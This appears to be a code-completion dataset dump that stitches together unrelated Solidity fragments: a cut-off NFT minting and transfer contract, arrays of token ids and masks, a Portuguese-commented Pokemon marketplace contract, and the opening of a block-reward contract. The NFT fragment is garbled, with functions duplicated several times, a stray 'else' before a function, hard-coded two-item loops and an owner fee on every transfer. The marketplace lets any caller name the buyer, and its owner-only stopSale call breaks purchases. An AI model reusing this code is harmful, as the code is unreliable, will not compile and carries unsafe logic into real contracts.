require(_amountToMint <= maxMintPerWallet, "You can only mint 5 per transaction");
require(!paused, "Minting is currently paused");
require((_numberMinted(msg.sender) + _amountToMint) <= maxMintPerWallet, "You can't mint that many NFTs with this wallet! Check the limit please.");
if (adminRights[msg.sender] != true) {
if (whitelistWallets[msg.sender] != true) {
require(msg.value >= cost * _amountToMint, "Incorrect amount entered, try increasing the value.");
require(msg.value >= whitelistCost * _amountToMint, "Incorrect amount entered, try increasing the value.");
}
}
}
_safeMint(msg.sender, _amountToMint);
payable(owner()).transfer(msg.value);
}
} else {
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable virtual override {
if (excludedFromTax[msg.sender] != true) {
require(msg.value >= royaltyFee, "You must pay the royalty fee");
payable(owner()).transfer(msg.value);
}
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable virtual override {
if (excludedFromTax[msg.sender] != true) {
require(msg.value >= royaltyFee, "You must pay the royalty fee");
payable(owner()).transfer(msg.value);
}
_transfer(from, to, tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) public payable virtual override{
if (excludedFromTax[msg.sender] != true) {
require(msg.value >= royaltyFee, "You must pay the royalty fee");
payable(owner()).transfer(msg.value);
}
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
approve(address(0), tokenId);
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
function _transfer(
address from,
address to,
uint256 tokenId
) public payable virtual override{
if (excludedFromTax[msg.sender] != true) {
require(msg.value >= royaltyFee, "You must pay the royalty fee");
payable(owner()).transfer(msg.value);
}
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
approve(address(0), tokenId);
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
function _transfer(
address from,
address to,
uint256 tokenId
) public payable virtual override{
if (excludedFromTax[msg.sender] != true) {
require(msg.value >= royaltyFee, "You must pay the royalty fee");
payable(owner()).transfer(msg.value);
}
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
approve(address(0), tokenId);
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
function _transfer(
address from,
address to,
uint256 tokenId
) public payable virtual override{
if (excludedFromTax[msg.sender] != true) {
require(msg.value >= royaltyFee, "You must pay the royalty fee");
payable(owner()).transfer(msg.value);
}
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
approve(address(0), tokenId);
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
function _transfer(
address from,
address to,
uint256 tokenId
) public payable virtual override{
if (excludedFromTax[msg.sender] != true) {
require(msg.value >= royaltyFee, "You must pay the royalty fee");
payable(owner()).transfer(msg.value);
}
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
approve(address(0), tokenId);
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
function tokenURI(uint tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory currentBaseURI = _baseURI();
return
bytes(currentBaseURI).length > 0
? string(
abi.encodePacked(
currentBaseURI,
tokenId.toString(),
baseExtension
)
)
: "";
}
function getPresale() private view returns (WhitelistData storage) {
return whitelistData[0];
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setDiscountedCost(uint256 _newCost) public onlyOwner {
whitelistCost = _newCost;
}
function setmaxMintPerWallet(uint256 _newmaxMintPerWallet) public onlyOwner {
maxMintPerWallet = _newmaxMintPerWallet;
}
function setDropLimit(uint256 _newDropLimit) public onlyOwner {
dropLimit = _newDropLimit;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pauseMinting(bool _state) public onlyOwner {
paused = _state;
}
function giveAdminRights(address _user) public onlyOwner {
adminRights[_user] = true;
}
function removeAdminRights(address _user) public onlyOwner {
adminRights[_user] = false;
}
function addToWhitelist(address[] memory _users) public onlyOwner {
for (uint256 i = 0; i < 2; i++) {
whitelistWallets[_users[i]] = true;
}
}
function addToWhitelist(address[] memory _users) public onlyOwner {
for (uint256 i = 0; i < 2; i++) {
whitelistWallets[_users[i]] = true;
}
}
function removeFromWhitelist(address _user) public onlyOwner {
whitelistWallets[_user] = false;
}
function addToExcluded(address[] memory _users) public onlyOwner {
for (uint256 i = 0; i < 2; i++) {
excludedFromTax[_users[i]] = true;
}
}
function addToExcluded(address[] memory _users) public onlyOwner {
for (uint256 i = 0; i < 2; i++) {
excludedFromTax[_users[i]] = true;
}
}
function removeFromExcluded(address _user) public onlyOwner {
excludedFromTax[_user] = false;
}
function withdraw() public payable onlyOwner {
(bool success, ) = payable(msg.sender).call{
value: address(this).balance
}("");
require(success);
}
function withdraw() public payable onlyOwner {
(bool success, ) = payable(msg.sender).call{
value: address(this).balance
}("");
require(success);
}
} | 13,532,636 | [
1,
812,
30,
20092,
19,
58,
292,
479,
92,
6918,
2009,
373,
18,
18281,
3118,
28826,
17,
13211,
17,
3004,
30,
490,
1285,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
776,
292,
479,
92,
6918,
2009,
373,
353,
4232,
39,
27,
5340,
37,
16,
14223,
6914,
288,
203,
203,
565,
1450,
5267,
364,
1758,
31,
203,
565,
1450,
31827,
20439,
364,
1731,
1578,
8526,
31,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
8139,
364,
2254,
31,
203,
203,
565,
533,
1071,
1026,
3098,
31,
203,
565,
533,
1071,
1026,
3625,
273,
3552,
1977,
14432,
203,
565,
2254,
5034,
1071,
6991,
273,
374,
18,
2499,
3707,
225,
2437,
31,
203,
565,
2254,
5034,
1071,
10734,
8018,
273,
374,
18,
20,
5193,
29,
5877,
225,
2437,
31,
203,
565,
2254,
5034,
1071,
943,
3088,
1283,
273,
6969,
713,
31,
203,
565,
2254,
5034,
1071,
943,
49,
474,
2173,
16936,
273,
1381,
31,
203,
565,
2254,
5034,
1071,
3640,
3039,
273,
6604,
31,
203,
565,
1426,
1071,
17781,
273,
638,
31,
203,
565,
2254,
5034,
1071,
721,
93,
15006,
14667,
273,
374,
18,
21,
225,
2437,
31,
203,
377,
203,
565,
2874,
12,
2867,
516,
1426,
13,
1071,
8845,
1265,
7731,
31,
203,
565,
2874,
12,
2867,
516,
1426,
13,
1071,
3981,
18464,
31,
203,
565,
2874,
12,
2867,
516,
1426,
13,
1071,
10734,
26558,
2413,
31,
203,
565,
2874,
12,
2867,
516,
5267,
751,
13,
3238,
389,
2867,
751,
31,
203,
203,
565,
3497,
7523,
751,
8526,
1071,
10734,
751,
31,
203,
377,
203,
565,
445,
389,
5771,
1345,
1429,
18881,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
787,
1345,
548,
16,
2
] |
./full_match/4/0xcC497F1521Cd6da240F6726CD408d22a1586E07F/sources/contracts/BondingCurveAlan.sol | esto va aca para evitar reentrancy
| tokens_sold += tokensToBuy; | 756,618 | [
1,
395,
83,
14162,
1721,
69,
12602,
2113,
305,
297,
283,
8230,
12514,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2430,
67,
87,
1673,
1011,
2430,
774,
38,
9835,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
Copyright (c) 2016 Edilson Osorio Junior - OriginalMy.com
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
/* Prototipagem dos contratos que serao chamados a partir deste */
contract pokeCoinContract { mapping (address => uint256) public balanceOf; function transferFrom(address _from, address _to, uint256 _value){ } }
contract pokeCentralContract { mapping (uint256 => address) public pokemonToMaster; function transferPokemon(address _from, address _to, uint256 _pokemonID) { } }
contract accessControlled {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
/* o caracter "_" é substituído pelo corpo da funcao onde o modifier é utilizado */
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract pokeMarket is accessControlled {
pokeCoinContract public pokeCoin;
pokeCentralContract public pokeCentral;
uint public totalPokemonSales;
uint public totalActiveSales;
PokeSale[] public pokeSales;
mapping (uint => bool) public pokeSelling;
mapping (address => uint[]) public pokeMasterSelling;
mapping (uint => uint) public pokeSaleIndex;
struct PokeSale{
address pokeSeller;
address pokeBuyer;
uint pokeID;
uint pokePrice;
bool pokeSold;
bool pokeSellActive;
}
event NewSale(address pokeSellerAddress, uint pokemonID, uint pokemonSalePrice);
event StopSale(address pokeSellerAddress, uint pokemonID);
event PokeTrade(address pokeBuyerAddress, address pokeSellerAddress, uint pokemonID );
/* Inicializa o mercado pokemon apontando os endereços da PokeCoin e da PokeCentral */
function pokeMarket(pokeCoinContract pokeCoinAddress, pokeCentralContract pokeCentralAddress) {
owner = msg.sender;
pokeCoin = pokeCoinContract(pokeCoinAddress);
pokeCentral = pokeCentralContract(pokeCentralAddress);
}
/* Inicia uma nova venda */
function newSale(address pokeSellerAddress, uint pokemonID, uint pokemonSalePrice) onlyOwner returns (bool success){
if (pokeSellerAddress != pokeCentral.pokemonToMaster(pokemonID)) throw; // Verifica se o vendedor possui o pokemon colocado a venda
if (pokeSelling[pokemonID]) throw; // Verifica se ja ha venda ativa para este pokemon
uint pokeSalesID = pokeSales.length++;
PokeSale p = pokeSales[pokeSalesID];
if (p.pokeSellActive) throw;
p.pokeSeller = pokeSellerAddress;
p.pokeID = pokemonID;
p.pokePrice = pokemonSalePrice;
p.pokeSold = false;
p.pokeSellActive = true;
pokeSelling[pokemonID] = true;
pokeSaleIndex[pokemonID] = pokeSalesID; // Em muitos casos é importante criar um indice para o pesquisar no struct
addPokemonToSellingList(pokeSellerAddress, pokemonID); // Adiciona esta venda na lista de vendas
totalPokemonSales+=1;
totalActiveSales+=1;
NewSale(pokeSellerAddress, pokemonID, pokemonSalePrice); // Notifica os clientes que há uma nova venda
return (true);
}
/* Cancela uma venda ativa */
function stopSale(address pokeSellerAddress, uint pokemonID) onlyOwner {
if (msg.sender != owner && msg.sender != pokeSellerAddress) throw; // Verifica se quem está solicitando o cancelamento da venda é o criador da mesma ou o owner
if (pokeSellerAddress != pokeCentral.pokemonToMaster(pokemonID)) throw; // Verifica se o pokemon é do proprietario
if (!pokeSelling[pokemonID]) throw; // Verifica se a venda esta ativa
uint pokeSalesID = pokeSaleIndex[pokemonID];
PokeSale p = pokeSales[pokeSalesID];
if (!p.pokeSellActive) throw;
p.pokeSellActive = false;
pokeSelling[pokemonID] = false;
delPokemonFromSellingList(pokeSellerAddress, pokemonID);
totalActiveSales-=1;
StopSale(pokeSellerAddress, pokemonID);
}
/* Compra um Pokemon */
function buyPokemon(address pokeBuyerAddress, uint pokemonID) {
if (pokeBuyerAddress == pokeCentral.pokemonToMaster(pokemonID)) throw; // Verifica se quem está comprando é o próprio vendedor
if (!pokeSelling[pokemonID]) throw; // Verifica se o pokemon esta a venda
uint pokeSalesID = pokeSaleIndex[pokemonID];
PokeSale p = pokeSales[pokeSalesID];
if (!p.pokeSellActive) throw; // Verifica se na struct o pokemon esta com venda ativa
if (pokeCoin.balanceOf(pokeBuyerAddress) < p.pokePrice) throw; // Verifica se o comprador possui fundos suficientes para comprar o pokemon
pokeCoin.transferFrom(pokeBuyerAddress, p.pokeSeller, p.pokePrice); // Chama a funcao transferFrom do contrato pokecoin
pokeCentral.transferPokemon(p.pokeSeller, pokeBuyerAddress, pokemonID); // Chama a funcao transferPokemon do contrato pokecentral
p.pokeBuyer = pokeBuyerAddress; // Ajusta o endereço do comprador
p.pokeSold = true; // Marca o pokemon como vendido
stopSale(pokeBuyerAddress,pokemonID); // Cancela a venda
PokeTrade(pokeBuyerAddress, p.pokeSeller, pokemonID ); // Notifica os clientes que a venda ocorreu
}
/* Adiciona o pokemon para a lista de vendas */
function addPokemonToSellingList(address pokeSellerAddress, uint pokemonID) onlyOwner internal {
uint[] tempList = pokeMasterSelling[pokeSellerAddress]; // Carrega a lista de vendas para o vendedor
tempList[tempList.length++] = pokemonID; // Adiciona um pokemon ao final da lista
pokeMasterSelling[pokeSellerAddress] = cleanArray(tempList); // Substitui o mapping que possui a lista de vendas, reorganizando o array (retirando os zeros)
}
/* Exclui um pokemon da lista de vendas */
function delPokemonFromSellingList(address pokeSellerAddress, uint pokemonID) onlyOwner internal {
uint[] tempList = pokeMasterSelling[pokeSellerAddress]; // Carrega a lista de vendas para o vendedor
uint count = tempList.length; // Conta o numero de itens da lista
for (uint i=0; i<count; i++){
if (tempList[i] == pokemonID) delete tempList[i]; // Procura pelo item da lista e o exclui
}
pokeMasterSelling[pokeSellerAddress] = cleanArray(tempList); // Substitui o mapping que possui a lista de vendas, reorganizando o array (retirando os zeros)
}
/* Atualiza os enderecos da Pokecoin e da PokeCentral */
function updatePokecoinAndPokemarketAddresses(address newPokecoinAddress, address newPokecentralAddress) onlyOwner {
pokeCoin = pokeCoinContract(newPokecoinAddress);
pokeCentral = pokeCentralContract(newPokecentralAddress);
}
/* Esta funcao elimina todos os itens com zero do array, ao custo de gas */
function cleanArray(uint[] pokeList) onlyOwner internal returns (uint[]) {
uint[] memory tempList = new uint[](pokeList.length); // Cria uma lista temporaria em memoria, do tamanho do array
uint j = 0;
for (uint i=0; i < pokeList.length; i++){
if ( pokeList[i] > 0 ){
tempList[j] = pokeList[i]; // Ajusta a lista temporaria com os valores que nao sao zero
j++;
}
}
uint[] memory tempList2 = new uint[](j); // Cria uma segunda lista em memória, com tamanho do "j" que e a contagem dos itens do "for" anterior
for (i=0; i< j; i++) tempList2[i] = tempList[i]; // Adiciona cada item do primeiro array para o segundo array. O excedente fica de fora
return tempList2; // Retorna a segunda lista
}
/* Uma funcao sem nome '()' eh chamada todas as vezes que forem enviados ethers para ela */
function (){
throw; // Nao permite o recebimento de ether
}
}
| Notifica os clientes que a venda ocorreu
| PokeTrade(pokeBuyerAddress, p.pokeSeller, pokemonID ); | 5,386,225 | [
1,
1248,
1507,
69,
1140,
1004,
281,
6597,
279,
331,
18883,
320,
3850,
266,
89,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
453,
3056,
22583,
12,
84,
3056,
38,
16213,
1887,
16,
293,
18,
84,
3056,
22050,
16,
293,
601,
4758,
734,
11272,
10402,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.10;
import "./BlockRewardAuRaBase.sol";
import "../interfaces/IBlockRewardAuRaTokens.sol";
import "../interfaces/IStakingAuRaTokens.sol";
import "../interfaces/ITokenMinter.sol";
contract BlockRewardAuRaTokens is BlockRewardAuRaBase, IBlockRewardAuRaTokens {
// =============================================== Storage ========================================================
// WARNING: since this contract is upgradeable, do not remove
// existing storage variables, do not change their order,
// and do not change their types!
mapping(address => bool) internal _ercToErcBridgeAllowed;
mapping(address => bool) internal _nativeToErcBridgeAllowed;
address[] internal _ercToErcBridgesAllowed;
address[] internal _nativeToErcBridgesAllowed;
/// @dev The current bridge's total fee/reward amount of staking tokens accumulated by
/// the `addBridgeTokenRewardReceivers` function.
uint256 public bridgeTokenReward;
/// @dev The reward amount to be distributed in staking tokens among participants (the validator and their
/// delegators) of the specified pool for the specified staking epoch.
/// The first parameter is a number of staking epoch. The second one is a pool id.
mapping(uint256 => mapping(uint256 => uint256)) public epochPoolTokenReward;
/// @dev The total reward amount in staking tokens which is not yet distributed among pools.
uint256 public tokenRewardUndistributed;
/// @dev The address of the minting contract. If it's zero, the address returned by
/// IStakingAuRaTokens(_stakingContract).erc677TokenContract() is used.
ITokenMinter public tokenMinterContract;
// ============================================== Constants =======================================================
/// @dev Inflation rate per staking epoch. Calculated as follows:
/// 15% annual rate * 48 staking weeks per staking year / 100 * 10**18
/// This assumes that 1 staking epoch = 1 week
/// i.e. Inflation Rate = 15/48/100 * 1 ether
/// Recalculate it for different annual rate and/or different staking epoch duration.
uint256 public constant STAKE_TOKEN_INFLATION_RATE = 3125000000000000;
// ================================================ Events ========================================================
/// @dev Emitted by the `addBridgeTokenRewardReceivers` function.
/// @param amount The fee/reward amount in tokens passed to the
